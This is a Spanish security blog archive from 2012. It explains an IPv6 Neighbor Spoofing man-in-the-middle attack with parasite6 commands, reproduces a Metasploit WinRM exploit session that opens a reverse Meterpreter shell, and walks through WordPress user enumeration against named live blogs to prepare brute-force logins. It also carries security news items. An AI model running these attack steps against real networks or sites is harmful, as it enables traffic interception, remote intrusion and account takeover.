viernes, 9 de noviembre de 2012

Hacking en redes de datos IPv6: Neighbor Spoofing

El primer ataque en redes de datos IPv6 por su sencillez e impacto que debe tenerse en consideración es  el de Neighbor Spoofing. Su funcionamiento es prácticamente análogo a ARP Spoofing, y de igual manera permite realizar ataques man in the middle.


Neighbor Spoofing

Como ya vimos en el artículo de Hacking en redes de datos IPv6: Conceptos Básicos, para descubrir a los vecinos de una red se utiliza el protocolo NDP (Neighbor Discovery Protocol). Este subconjunto de mensajes ICMPv6 cuenta con dos que convierten la dirección IPv6 a una dirección de enlace local (Local-Link) que en las redes de datos de area local será la dirección MAC.

El funcionamiento habitual es que un equipo envíe un mensaje de Neightbor Solicitation NS a una dirección multicast cuando vaya a comunicarse con un equipo y que el que tenga esa dirección IPv6 responda al mensaje multicast con un mensaje unicast de Neighbor Advertisement NA con su dirección física MAC. El receptor del mensaje NA almacenará en la la tabla de vecinos la dirección IPv6 y la dirección MAC asociada.

Sin embargo, al igual que con el protocolo ARP en IPv4, un atacante puede enviar un mensaje NA sin haber recibido el mensaje previo de NS y hacer hacer que en la caché de la tabla de vecinos se almacene el registro. Un ataque de Neighbor Spoofing para hacer man in the middle se basará por tanto en enviar un mensaje NA a los dos equipos a los que se quiere hacer el ataque, poniendo en ambos la dirección IPv6 del otro, y la dirección MAC del atacante.

Figura 1: Paquete NA enviado spoofeando la IPv6 fe80::f47c:d2ae:b534:40b2

Figura 2: Paquete NA enviado spoofeando la IPv6 fe80::f95c:b7c5:ea34:d3ff

El ataque se realiza spoofeando la dirección IPv6 de origen del paquete, para simular ser un mensaje que viene del otro equipo víctima, pero en ambos casos se pone la dirección MAC del atacante, para conseguir que el switch de comunicaciones haga llegar todos los mensajes a la máquina del hombre en medio. 

Parasite6 (The Hacking Choice)

Una de las herramientas que implementa estos ataques es parasite6, de The Hacker Choice (THC). Esta herramienta está incluida en BackTrack. Por defecto la herramienta realiza man in the middle entre todos los equipos IPv6 que descubre por la red, por lo que ponerla activa en una red de datos en la que hay IPv6 es meter un auténtico parásito. Los pasos para que funcione con la configuración por defecto son:
1) Poner primero una dirección IPv6 en el interfaz de red de BackTrack que esté en la red en que se va a hacer el ataque.

 - ifconfig eth0 inet6 add [ipv6] 
2) Arrancar parasite6
- parasite6 eth0
Figura 3: activando parasite6 en Bactrack
3) Configurar el enrutamiento
- sysctl -w net.ipv6.conf.all.forwarding=1
Figura 4: Activación del enrutamiento en IPv6
4) Activar un sniffer (Wireshark) y analizar los paquetes.
A partir de ese momento, se empezarán a enviar mensajes NA para hacer man in the middle en las direcciones IPv6 que se detecten y se envenenarán las tablas de vecinos de todos ellos.

Figura 5: Direcciones IPv6 apuntando todas a la dirección MAC del equipo con parasite6

Por desgracia, el número de herramientas que analizan los flujos sobre IPv6 no son muchos, y no contamos con muchos filtros que recompongan ficheros transmitidos o analicen sesiones, por lo que el trabajo hay que hacerlo a día de hoy un poco manualmente.

Scapy Project

Otra herramienta que se puede utilizar para crear los paquetes es Scapy, escrita en Python y que permite configurar cualquier tipo de paquete de red, incluidos los de IPv6. Esta utilidad es perfecta para automatizar ataques con scripts, e implementar todos los ataques que se conocen hoy en día.

Figura 6: Scapy en Linux

Puedes descargar la herramienta desde la web de Scapy Project y tienes más información en la presentación que se hizo en Hack In The Box 2006: Scapy and IPv6 networking.

Evil FOCA


En
Evil FOCA hemos implementado el ataque de Neighbor Spoofing y basta con seleccionar los equipos a los que se quiere hacer man in the middle para que la herramienta envíe los paquetes NA adecuados.
Figura 7: Man in the middle con Neighbor Spoofing usando Evil FOCA

Utilizando Evil FOCA es posible capturar los ficheros transmitidos una red de area local en la que se esté utilizando IPv6: Captura de ficheros transmitidos por SMB con ataques man in the middle en IPv6 usando Evil FOCA

 




Fuente 

domingo, 4 de noviembre de 2012

Un grupo de Anonymous publica el código fuente del kernel de VMware ESX Server

El grupo de Anonymous "Stun" ha publicado el código fuente del kernel de VMware ESX Server según anunciaban en su tweet "WILD LEAKY LEAK. FULL VMware ESX Server Kernel LEAKED LINK #Anonymous #AntiSec". 

La razón de este leak es que VMware parece seguir desarrollando sin tener en cuenta buenas prácticas para la seguridad: "Jodiendo gente y vendiendo mierda. Pero ya es hora de que Anonymous finalmente se pronuncie. Por su puesto VMware intentará hacer creer que se trata de un kernel viejo y no se utiliza en sus productos recientes. Pero gracias a Dios, todavía hay cosas como la ingeniería inversa que desmostrará la verdad".

En concreto es un torrent de 1.89 MB titulado "VMware ESX Server Kernel LEAKED" y según "Stun" es una versión original de 1998-2004 todavía utilizada en algunos productos...


Fuente: Anonymous leaks VMware ESX Server Kernel source code

fc00::1 (Algunos) Ataques en IPv6

Este es el título que Chema Alonzo utilizó ayer en la NoCONname 2012. En ella recojió todo lo que ya ha empezado a escribir en la serie Hacking en redes de datos IPv6 - continuará con ella - e hizo una demo con la Evil FOCA explicando los ataques de man in the middle con Evil FOCA, como usarlos para capturar ficheros de datos transmitidos por SMB, cómo hacer man in the middle en redes de datos IPv4 con IPv6 o cómo funciona el ataque D.O.S. SLAAC.


Todos ellos los irá desarrollando en detalle, pero mientras ya sabes que te puedes comprar el libro de Ataques en redes de datos IPv4 & IPv6.

Figura 1: Momento de presentación de la charla en la NCN 2012

Actualización: Tienes la reseña del primer día de la NCN 2012 en Security By Default.


Fuente

Apache Server Status abierto en miles de sitios web

El módulo de Mod_Status permite acceder a una monitorización rápida del servidor Apache mediante una página web accesible vía http://server/server-status y, dependiendo de las URLs que se estén visitando y el tipo de aplicaciones que se hayan diseñado, pueden llegar a aparecer usuarios y passwords en texto claro. Lo curioso es que este módulo ha aparecido en miles de sitios y desde Sucuri Labs han publicado un estudio con sitios webs encontrados con este módulo expuesto a Internet.

Figura 1: URLFind para buscar sitios con Server-Status abierto

Entre el número de sitios que se pueden comprobar en URLfind, ya han aparecido algunos muy significativos, como por ejemplo el sitio web de Cisco.com, donde puede verse la página de monitorización sin proteger por ningún sistema de autenticación.

Figura 2: Apache Server Status en Cisco.com

Al final, la suma de "descuidos" en la fortificación de los sistemas acaba dando la clave para que se produzca la intrusión no deseada en un sistema, por lo que no dejes estos detalles en tus servidores web.

Saludos Malignos!
 
 
 

viernes, 2 de noviembre de 2012

Primeros exploits de día 0 para Windows 8


Menos de una semana después de que Microsoft lanzara su flamante Windows 8, los hackers franceses de Vupen han desarrollado un exploit para este nuevo sistema operativo e Internet Explorer 10. Chaouki Bekrar, CEO de Vupen, escribía en Twitter "Damos la bienvenida a #Windows 8 con varios 0Ds combinados para pwn todas las nuevas mitigaciones de exploits de Win8/IE10, Felicidades a nuestro mitigador de mitigaciones @n_joly".

Recordemos que, entre las características de seguridad de Microsoft Windows 8, se incluye por defecto DEP (Data Execution Protection) y ASLR (Address Space Layout Randomization) para aleatorizar la localización de las instrucciones de los programas en memoria e impedir que se ejecuten datos en algunas direcciones específicas. Además, se añaden técnicas antiROP (Return-oriented programming) para proteger estos dos métodos y se incluye la aplicación anti-malware Windows Defender y la última versión de Internet Explorer utiliza un "sandbox" llamado  AppContainer para intentar impedir que se ataque directamente al sistema a través del navegador.

Sin embargo, es evidente que Windows 8 no es invulnerable y ya en la conferencia Black Hat de este verano se mostraron exploits que teóricamente evadían sus medidas de seguridad. Tarjei Mandt, investigador de seguridad Azimuth Security comentaba "El kernel de Windows 8 fundamentalmente no cambia ninguno de los algoritmos usados en Windows 7 ... Más que nada es una versión fortificada de Windows 7 sin cambios estructurales significativos, pero incluye muchas más comprobaciones".

Por otra parte Microsoft alega que vieron el tweet de Vupen pero que dicha organización todavía no ha compartido con ellos los detalles. Y es que Vupen se lucra en gran parte gracias a la venta de sus hacks e información a agencias gubernamentales y, en definitiva, al mejor postor: "Nuestro primer 0day para Win8+IE10 con HiASLR/AntiROP/DEP y evasión del Mod Prot sandbox (no necesario Flash) está ya disponible para clientes. Bienvenido #Windows8".


Además, en las últimas horas se ha liberado un módulo de Metasploit capaz de explotar el servicio Windows Remote Management (WinRM) para obtener una sesión de Meterpreter. Bienvenido Windows 8 a este nuestro mundo cruel xD:


    msf  exploit(winrm_powershell) > show options
    
   
Module options (exploit/windows/winrm/winrm_powershell):
    
      
Name      Current Setting  Required  Description
      
----      ---------------  --------  -----------
       DOMAIN    WORKSTATION      yes      
The domain to use for Windows authentification
       PASSWORD  omfg            
no        A specific password to authenticate with
      
Proxies                    no        Use a proxy chain
       RHOST    
10.6.255.158     yes       The target address
       RPORT    
5985             yes       The target port
       URI      
/wsman           yes       The URI of the WinRM service
       USERNAME  sinn3r          
no        A specific username to authenticate as
       VHOST                     
no        HTTP server virtual host
    
    
   
Payload options (windows/meterpreter/reverse_tcp):
    
      
Name      Current Setting  Required  Description
      
----      ---------------  --------  -----------
       EXITFUNC  thread           yes      
Exit technique: seh, thread, process, none
       LHOST    
10.6.255.84      yes       The listen address
       LPORT    
4444             yes       The listen port
    
    
   
Exploit target:
    
      
Id  Name
      
--  ----
      
0   Automatic
    
    
    msf  exploit
(winrm_powershell) > rexploit
   
[*] Reloading module...
    
   
[*] Started reverse handler on 10.6.255.84:4444
   
[*] Attempting to set Execution Policy
   
[*] Grabbing %TEMP%
   
[*] uploading powershell script to C:\Users\sinn3r\AppData\Local\Temp\uUIpRDrz.ps1
   
[*] Attempting to execute script...
   
[*] Sending stage (752128 bytes) to 10.6.255.158
   
[*] Meterpreter session 1 opened (10.6.255.84:4444 -> 10.6.255.158:49535) at 2012-10-31 17:09:00 -0500
    
    meterpreter
>
   
[*] Session ID 1 (10.6.255.84:4444 -> 10.6.255.158:49535) processing InitialAutoRunScript 'post/windows/manage/smart_migrate'
   
[*] Current server process: powershell.exe (2844)
   
[+] Migrating to 696
   
[+] Successfully migrated to process
    
    meterpreter
> sysinfo
   
Computer        : WIN-VFQHRRTCA39
    OS             
: Windows 8 (Build 9200).
   
Architecture    : x86
   
System Language : en_US
   
Meterpreter     : x86/win32
    meterpreter
>
 





 Fuentes:

Government hackers develop Windows 8 exploit – already

 
Security firm VUPEN claims to have hacked Windows 8 and IE10 


VUPEN Researchers Say They Have Zero-Day Windows 8 Exploit 


Weekly Metasploit Update: WinRM Part One, Exploiting Metasploit, and More! 


jueves, 1 de noviembre de 2012

Enumeración de Usuarios en WordPress (Fingerprinting) – Presentando wp_users.sh

Hola amigos, conozco la comunidad DragonJAR desde hace mas de 4 años donde llegue a ser de los usuarios mas activos, pero en este tiempo de conocer a la comunidad es la primera vez que publico algo en el blog principal. Quería fuera algo especial y espero poder llenar las expectativas del publico exigente en calidad de artículos técnicos que visita DragonJAR.

Screenshot 016 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh

La idea del articulo conforme fui desarrollando e investigando sobre el tema, cambio radicalmente de como se contemplo al principio, así que lo dividiré en dos secciones.
  1. Como es la enumeración de Usuarios de wordpress hoy en día.
  2. Dar a conocer el script que escribí wp_users.sh
Pero como suelo hacer, primero quiero dar a conocer un poco del contexto sobre por que me metí a este tema; Realmente yo no tenia contemplado hacer un script para esta tarea, puesto que ya existen programas, plugins y scripts que hacen la misma tarea.

Todo esto empezó cuando mi blog personal (Neobits.org) que hace uso del famoso gestor de contenido wordpress fue atacado. En ese momento me metí bastante a estudiar “Hardening para wordpress”, aunque mi blog tenia medidas de seguridad suficientes para creerlo “seguro”, fui vulnerado. Hoy en día las medidas de seguridad que implemente en mi Blog son mucho mayores a ese entonces y creo hasta ahora me funcionan bien.

En este punto varias personas me han pedido les comparta un manual de Hardening, y aunque en internet hay varios y varios tips, decidí crear mi propia cadena de tips, en las que me baso yo. Algunas recomendaciones son las que wordpress oficialmente nos recomienda, otras son de desarrolladores de plugins, otras de profesionales de la Seguridad Informática y las demás son en base a mi experiencia.

Todos estos tips y manual que voy creando espero poder presentarlo a la comunidad informática en “Campus Party México 4″. Si es que logro contactar al encargado de Área de Redes y Seguridad. Así que si les interesa pueden ayudarme para que lo presente en #CPMx4 =P

En mi investigación me encontré con este tema taaaaaaan sonado y “común”. Donde se dice es muy sencillo sacar los usuarios de wordpress (Y realmente lo es). Y aunque existen varias soluciones para lograr este objetivo, me di cuenta que varios de ellos no me ofrecen los resultados que esperaría…Aquí fue donde decidí crear mi pequeño script (Unas 3 líneas) como PoC.

Para unos días mas tarde el script creció a 100+ Líneas y ofrece buenos resultados (Mejores que algunas herramientas conocidas en ciertos casos).
Sin mas preámbulo entremos en tema.

Enumeración de Usuarios

¿Para que obtener los usuarios de wordpress de una página?
-obtener los nombres de usuario es una parte muy importante en una prueba de intrusión, ya que obteniendo estos, podemos dirigir un ataque de fuerza bruta a esos usuarios para ver si podemos ingresar al portal y de ahí tratar de escalar privilegios, subir una webshell etc…
Encontré varias opciones para lograr enumerar usuarios y aquí probaremos algunas de las mas “usadas y recomendadas”
  • Flunym0us (Flu-project y enelpc.com)
  • Metasploit (Con el modulo wordpress_login_enum)
  • wpbf.py
  • w3af (Plugin wordpress_enumerate_users)
Flunym0us

Flunym0us es un script programado en python creado por Flu-project.com y enelpc.com. Donde solo hace unas semanas salió la versión 2.0
Este programa es un Scanner de vulnerabilidades para WordPress y Moodle. Hace un completo fingerprinting a la plataforma identificando versión de la plataforma, plugins instalados y desactualizados, y LOS USUARIOS REGISTRADOS…
En la siguiente captura de pantalla podemos observar como funciona flunym0us y obtiene los usuarios de la pagina muyseguridad.net


Screenshot 006 300x194 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click para Agrandar

Trabaja bien ¿no? sin embargo Flunym0us tiene unos pequeños inconvenientes en cuanto a los usuarios. Obtiene muy pocos, y Cuando encuentra algunos, se basa en el <title> de la pagina…Podemos ver un ejemplo a continuación con el blog de daboblog.com

Screenshot 007 300x158 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click para Agrandar

Dice encontrar 5 usuarios pero solo 1 es real. Los demás son el <title> del sitio.
Metasploit (wordpress_login_enum)
Muchos profesionales de la seguridad recomiendan el uso de metasploit para enumerar usuarios ya que tiene todo un modulo dedicado a esto, y es bastante configurable.
El modulo lo podemos encontrar en:
auxiliary/scanner/http/wordpress_login_enum
Podemos hacer uso de el fácilmente simplemente configurando el Host remoto. Y claro podemos ver todas las opciones con “show options”. Lo probaremos ahora contra los creadores de flunym0us.
>use auxiliary/scanner/http/wordpress_login_enum
>set RHOSTS flu-project.com
>exploit
 
Screenshot 005 300x95 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click para Agrandar

Como vemos no me devolvió ningún usuario valido. La verdad no se por que, por mas que intente con varias paginas, con servidores dedicados, en local, configuración de parámetros, etc…En ninguna de mis pruebas logre obtener un solo resultado exitoso. (Si alguien logra realizar esto con éxito, favor de hacérmelo saber)

WPBF.py

WordPress BruteForce es un script, igualmente programado en python que me agrado bastante, pero que igualmente NO ME DEJO COMPLETAMENTE CONVENCIDO. Podemos descargar este script desde github donde su autor “Andres Tarantini” lo alojo. http://atarantini.github.com/wpbf/
Este es un script de fuerza bruta para probar las contraseñas, detectar plugins y enumerar usuarios.
Aunque tiene una gran cantidad de opciones yo solo mostrare la enumeración de usuarios. En esta ocasión la pagina “afortunada” es el famoso sitios de tecnología, gadgets, y ¿Seguridad? -> g3ekarmy.com
$python2.7 wpbf.py -eu -mu 40 http://g3ekarmy.com
 
La opción -eu es para (enumerate uses)
La opción -mu 40 es para definir la cantidad máxima de usuarios a obtener

Screenshot 008 300x72 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click para Agrandar

Le dijimos que obtuviera un máximo de 40 usuarios y obtuvo con éxito 12. Pinta bien el programa =) Sin embargo veremos después que con wp_users podemos obtener mas de 12 usuarios icon wink Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Sin duda wpbf es una buena opción a tener en cuenta.

w3af

w3af no necesita presentación, si estas leyendo esto, seguro conoces w3af a fondo y en modo “console” icon wink Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Dentro de los muchos plugins de w3af tenemos en el área de “discovery” el plugin “wordpress_enumerate_users” el cual usaremos. Veamos dos ejemplos uno ahora con la pagina de seguridad infospyware.com y de nuevo con daboblog.com
Si corremos el plugin contra daboblog.com vemos que solo encuentra al usuario “admin”, como lo hizo flunym0us.

Screenshot 013 300x119 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click para Agrandar

Ahora si lo corremos contra infospyware.com vemos que nos devuelve una gran cantidad de usuarios exitosamente.

Screenshot 014 300x199 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh

Conclusión:
  • Flunym0us Sin duda es un gran Scanner de vulnerabilidades y que en el futuro seguramente mejorara la enumeración de usuarios.
  • Metasploit no pude hacerlo funcionar de ningún modo, será que ¿Necesito clases personalizadas?
  • wpbf.py un gran script que nos puede ayudar en ciertas cosas, pero que al final no es la elección definitiva.
  • w3af es la mejor opción para enumerar usuarios…¿O por lo menos lo era hasta ahora?

¿Como funcionan estos programas para enumerar usuarios?

Manera 1:

Es realmente sencillo, hace tiempo se descubrió que wordpress tenia una “vulnerabilidad/utilidad” donde si uno pone en una pagina que este usando wordpress… pagina.com/?author=1 nos devuelve todas las entradas de este usuario, y claro en el cuerpo del html vendría el nombre de usuario.
También puede venir en el title, así es como lo maneja Flunym0us.

Screenshot 015 300x134 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh

Entonces la manera obvia de obtener usuarios es ir iterando sobre este parámetro y si nos contesta el servidor exitosamente, buscamos el usuario (Esa es la lógica que varios de estos programas usan).

Manera 2:

Esta forma de obtener los usuarios es realmente el mismo que la manera 1, la única diferencia es que cuando ingresamos a pagina.com/?author=1 nos redirige a pagina.com/author/usuario de esta manera podemos obtener el usuario desde la URL, o también desde el cuerpo HTML.

Manera 3:

Podemos obtener los post de los usuarios con el parámetro pagina.com/?author_name=usuario donde usuario es el nombre del autor. Esta manera no es muy buena puesto que tendríamos que estar fuzzeando mucho, o con un diccionario ya bien establecido podríamos obtener algunos usuarios, pero no tiene para nada el mismo impacto que la manera 1.
Cada uno de los métodos es valido, complementario y funcional. El éxito del ataque dependerá de como el blog lo maneje y esto a su vez depende mucho del TEMA que el blog este usando, también depende del idioma y/o de si el blog se encuentra dentro de una carpeta que no sea la principal.

Y así nace: wp_users.sh

wp_users.sh a diferencia de los otros programas vistos anteriormente esta programado en Bash.
./wp_users enumera y obtiene los usuarios registrados en WordPress

Screenshot 0161 300x155 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh

Trate de que tenga la mayor compatibilidad posible con los sistemas (Las expresiones regulares son del tipo a-zA-Z y no a-Z para que no hubiera problemas en sistemas Mac OS), no usa muchos programas externos, sino al contrario usa muchos programas que ya vienen instalados en muchos sistemas *nix por default o de comandos internos. Por el momento fue probado en BackTrack 5 R3 sin ningún tipo de problema.
Hago uso de “echo, egrep, cut, tail, read, head, declare, let”

El único programa que podría no venir por default en tu sistema es “GET” que pertenece a las utilidades de “lwp-mirror – Simple Mirror Utility”.

Características:
  • 100% Editable y personalizable
  • Tiene 2 maneras de poder Enumerar usuarios (Método 1 y 2)
  • Puede identificar si una pagina usa wordpress o no.
  • Identifica la Versión de wordpress si es posible.
  • Puedes definir cuantos INTENTOS (no usuarios) deseas realizar
  • Hace por defecto “User Agent Spoofing”, el cual puedes modificar o eliminar desde el codigo.
  • A diferencia de los demás, wp_users DEVUELVE el ID de los usuarios encontrados
  • ES SOFTWARE LIBRE
Contras:
  • Puede ser muy lento, por la programación estructurada manejada y por el UA spoofing
  • Aun no es 100% compatible con todos los blogs (A mejorar las expresiones regulares en un futuro)
Ejemplos:

Ej1)

Lo corremos contra g3ekarmy.com con 40 intentos (Numero hasta donde llegara la iteración del ciclo).

Screenshot 009 300x206 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click Aqui para Agrandar

A diferencia de wpbf.py, wp_users.sh nos devuelve en 40 intentos mas usuarios que lo que logro wpbf.py, así mismo el formato es mas vistoso.

Ej2)

Recuerdan como flunym0us y w3af solo nos devolvía un usuario (admin) con el blog de daboblog.com? Veamos que hace wp_users.sh
Lo lanzamos con 100 intentos.

Screenshot 011 300x247 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh
Click Aqui para Agrandar

Genial no? =) Sabia había mas usuarios de lo que w3af y flunym0us nos decía…Os empieza a gustar wp_users.sh o no?

Profundizando:

Debemos entender como funciona el método 1 y 2 explicados anterior mente e implementados en wp_users.sh
Cuando corremos wp_users.sh pagina.com #Intentos lo que hace el programa es pedir pagina.com/?author=#Intentos para cada pagina si nos contesta Ok, busca la palabra author-$USUARIO. Donde $USUARIO es lo que extraemos y obtenemos…

Sin embargo en varias paginas, nos contestara un 200, pero no nos devolverá nada… ¿Por qué? Por que puede que exista una redirección de pagina.com/?author=#ID a pagina.com/author/USUARIO en este caso wp_users identificara si lo que devuelve esta vacío y después de 10 intentos nos recomendara que usemos el método 2:
./wp_users.sh --inurl
 
En este método ingresaremos de nuevo la pagina y numero de intentos e intentara obtener los usuarios de una manera diferente…buscando ahora $web/author/$USUARIO/ y extrayendo $USUARIO, si encuentra esto nos devolverá los usuarios, de lo contrario también saldrá vacío y esto querrá decir que el programa no fue capaz de obtener los usuarios por que la pagina puede estar manejando la url de manera diferente:
Ej: Fallara si el blog en vez de redirigir a pagina.com/author/USUARIO, redirige a pagina.com/autor/USUARIO…(Próximamente se agregara mas compatibilidad)

Ejemplo de cuando usar el método 2 –inurl…Por ejemplo daboblog.com es una de esas paginas donde con el método 1 no obtendremos nada, pero con el 2 si.

Screenshot 010 300x294 Enumeración de Usuarios en Wordpress (Fingerprinting)   Presentando wp users.sh

Y esto señores es wp_users.sh, les parece ¿interesante? o ¿útil?.

Nota: Los blogs que fueron usados para ejemplos fueron sacados de los participantes en los premios bitácoras por mejor blog a seguridad parcial III http://bitacoras.com/premios12/clasificaciones/mejor-blog-sobre-seguridad-informatica/3 Espero ningún webmaster se moleste por esta situación, pero me pareció interesante probar mi herramienta con los blogs de seguridad que compiten y usan wordpress. Cualquier malentendido favor de tratarlo directamente conmigo (@hecky)

Comentarios finales:

¿Por qué escribiste wp_users?

Primeramente para demostrar que a veces las herramientas mas famosas no nos resuelven todo, y sirve de mucho INVESTIGAR, PROBAR y poder CREAR nuestras herramientas manualmente.

¿Por qué escribirlo en bash y no en python, perl, ruby?

Los que me conocen saben que soy fanático de Bash, y lo que intento demostrar desde hace tiempo es que no es nada difícil como muchos creen, que facilita muchísimas tareas y es sumamente útil aprenderlo.

¿Habrá actualizaciones?

Creo eso dependerá de la demanda, para mi esta muy bien así, y si necesito acoplarlo a un escenario en especifico no se tardara nada en hacerlo manualmente. La parte esencial del programa no pasa de unas 8 líneas, sin embargo creció tanto por manejo de errores, explicación del programa, etc…

¿Existe una manera de Protegerme?

¡SI! Hay dos maneras MEGA EFICIENTES para protegernos de que nos hagan este “dump” de usuarios…Pero eso lo quiero exponer en CampusParty México 4, si desean saber como, podrían apoyarme para dar la conferencia que tengo pensada como “Hardening WordPress – The technical,easy and useful way” donde dare varios tips de este tipo.
Pueden descargar wp_users.sh desde mi repositorio en github:
Articulo escrito por Hecky de Neobits.org para La Comunidad DragonJAR
Hecky es un apasionado e interesado en “Researching, Steganalysis, Hardening, Linux, Vulnerability Assesment & Digital Forensics”, miembro de la comunidad DragonJAR y pueden ubicarlo en Twitter (@hecky)

Cyber-espía ruso grabado en webcam con su malware

Infectarse con un malware con el que estás jugando es lo más común - aún tengo disco de 5 1/4 infectados con todo mi amor -. De hecho creo que las instantáneas en el sistema operativo y en las máquinas virtuales se debieron crear solo por eso. Sin embargo, que te infecten otros a través de tu propio malware ya es un poco más enrevesado. Sobre todo si quien lo haces es un gobierno al que estás espiando y robando información.

Esta es la historia que cuenta el CERT de Georgia que ha publicado las imagenes de un "supuesto" atacante que estaba robando datos sensibles del gobierno para venderlos a las mafias y agencias de inteligencia relacionadas con el gobierno ruso. 
Detectaron la actividad de este atacante, según informa Tech News World, en Marzo de 2011 y desde entonces descubrieron que había infectado 390 equipos para robar información. El malware lo había incrustado en un formato de documento XDP (XML Data Package) que permite representar documentos PDF como ficheros XML y no levanta tantas alertas como un adjunto en PDF
Según cuentan la historia, el equipo del CERT de Georgia descubrió en qué equipos había instalado el malware y le hizo comer su propia medicina poniéndole un documento en uno de ellos con su propio malware. Cuando el atacante abrió el documento se infectó con su malware y el CERT activó la webcam para sacar esta bonitas fotos.
Figura 1: Un gran FAIL para un cyber-espía
Al final, cuando yo insisto en que lo mejor es poner la cinta en la webcam es por algo, ya que nunca estás 100% seguro cuando la protección es por software, y al final puedes acabar saliendo sexy en cualquier botnet.